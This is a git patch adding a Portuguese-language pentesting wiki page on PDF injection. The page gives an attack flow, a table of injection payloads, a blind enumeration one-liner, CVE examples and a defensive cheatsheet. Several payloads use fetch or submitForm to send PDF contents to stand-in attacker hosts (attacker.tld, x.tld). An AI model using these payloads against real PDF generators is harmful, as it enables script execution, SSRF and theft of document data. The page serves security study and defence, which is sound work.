From 8e9ea31ed517ba9994540a35f963be9c82f94db2 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 4 Aug 2025 18:13:33 +0000 Subject: [PATCH] Translated ['src/pentesting-web/xss-cross-site-scripting/pdf-injection.m --- .../xss-cross-site-scripting/pdf-injection.md | 58 +++++++++++++++++-- 1 file changed, 53 insertions(+), 5 deletions(-) diff --git a/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md b/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md index 9c6f18113..f0893bf18 100644 --- a/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md +++ b/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md @@ -1,7 +1,55 @@ -{{#include ../../banners/hacktricks-training.md}} - -**Se sua entrada está sendo refletida dentro de um arquivo PDF, você pode tentar injetar dados PDF para executar JavaScript ou roubar o conteúdo do PDF.** - -Verifique o post: [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration) +# PDF Injection {{#include ../../banners/hacktricks-training.md}} + +**Se sua entrada está sendo refletida dentro de um arquivo PDF, você pode tentar injetar dados PDF para executar JavaScript, realizar SSRF ou roubar o conteúdo do PDF.** +A sintaxe PDF é extremamente permissiva – se você conseguir sair da string ou dicionário que está incorporando sua entrada, pode adicionar objetos totalmente novos (ou novas chaves no mesmo objeto) que o Acrobat/Chrome irá analisar felizmente. +Desde 2024, uma onda de relatórios de bug-bounty mostrou que *um parêntese ou barra invertida não escapado é suficiente* para a execução completa de scripts. + +## TL;DR – Fluxo de Ataque Moderno (2024) +1. Encontre qualquer valor controlado pelo usuário que acabe dentro de uma **(string de parênteses)**, `/URI ( … )` ou campo `/JS ( … )` no PDF gerado. +2. Injetar `) ` (fechando a string) seguido por um dos primitivos abaixo e terminar com outro parêntese de abertura para manter a sintaxe válida. +3. Entregar o PDF malicioso a uma vítima (ou a um serviço de backend que renderiza automaticamente o arquivo – ótimo para bugs blindos). +4. Seu payload é executado no visualizador de PDF: +* Chrome / Edge → PDFium Sandbox +* Firefox → PDF.js (veja CVE-2024-4367) +* Acrobat → API JavaScript Completa (pode exfiltrar conteúdos de arquivos arbitrários com `this.getPageNthWord`) + +Exemplo (sequestro de link de anotação): +```pdf +(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next ( +``` +*O primeiro `)` fecha a string URI original, em seguida, adicionamos um novo dicionário **Action** que o Acrobat executará quando o usuário clicar no link.* + +## Primitivas de Injeção Úteis +| Objetivo | Trecho de Payload | Notas | +|----------|-------------------|-------| +| **JavaScript ao abrir** | `/OpenAction << /S /JavaScript /JS (app.alert(1)) >>` | Executa instantaneamente quando o documento é aberto (funciona no Acrobat, não no Chrome). | +| **JavaScript ao clicar no link** | `/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>` | Funciona no PDFium & Acrobat se você controlar uma anotação `/Link`. | +| **Exfiltração de dados cega** | `<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)` | Combine com `this.getPageNthWord` dentro do JS para roubar conteúdo. | +| **SSRF do lado do servidor** | O mesmo que acima, mas direciona para uma URL interna – ótimo quando o PDF é renderizado por serviços de back-office que respeitam `/URI`. | +| **Quebra de linha para novos objetos** | `\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj` | Se a biblioteca permitir que você injete caracteres de nova linha, você pode criar objetos totalmente novos. | + +## Truque de Enumeração Cega +Gareth Heyes (PortSwigger) lançou uma linha única que enumera todos os objetos dentro de um documento desconhecido – útil quando você não pode ver o PDF gerado: +```pdf +) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> ( +``` +O código itera sobre o DOM do Acrobat e faz solicitações externas para cada par de propriedade/valor, fornecendo um despejo *JSON-ish* do arquivo. Veja o white-paper “Portable Data **ex**Filtration” para a técnica completa. + +## Bugs do Mundo Real (2023-2025) +* **CVE-2024-4367** – Execução arbitrária de JavaScript no PDF.js do Firefox antes da versão 4.2.67 contornou o sandbox com uma ação `/JavaScript` manipulada. +* **Bug bounty 2024-05** – Uma fintech importante permitiu notas de fatura fornecidas pelo cliente que foram parar em `/URI`; o relatório pagou $10k após demonstrar SSRF para o host de metadados interno usando `file:///` URI. +* **CVE-2023-26155** – Injeção de comando `node-qpdf` via caminho PDF não sanitizado mostra a importância de escapar barras invertidas e parênteses mesmo *antes* da camada PDF. + +## Cheatsheet Defensivo +1. **Nunca concatene entrada bruta do usuário** dentro de strings ou nomes `(`…`)`. Escape `\`, `(`, `)` conforme exigido pelo §7.3 da especificação PDF ou use strings hexadecimais `<...>`. +2. Se você construir links, prefira `/URI (https://…)` que você *totalmente* codifique em URL; bloqueie esquemas `javascript:` em visualizadores de cliente. +3. Remova ou valide dicionários `/OpenAction`, `/AA` (ações adicionais), `/Launch`, `/SubmitForm` e `/ImportData` ao processar PDFs. +4. No lado do servidor, renderize PDFs não confiáveis com um *conversor sem cabeça* (por exemplo, qpdf –decrypt –linearize) que remove JavaScript e ações externas. +5. Mantenha os visualizadores de PDF atualizados; PDF.js < 4.2.67 e Acrobat Reader antes de julho de 2024 permitem execução de código trivial. + +## Referências +* Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (atualizado em maio de 2024). +* Dawid Ryłko, “CVE-2024-4367: Execução Arbitrária de JavaScript no PDF.js” (abr 2024). +{{#include ../../banners/hacktricks-training.md}}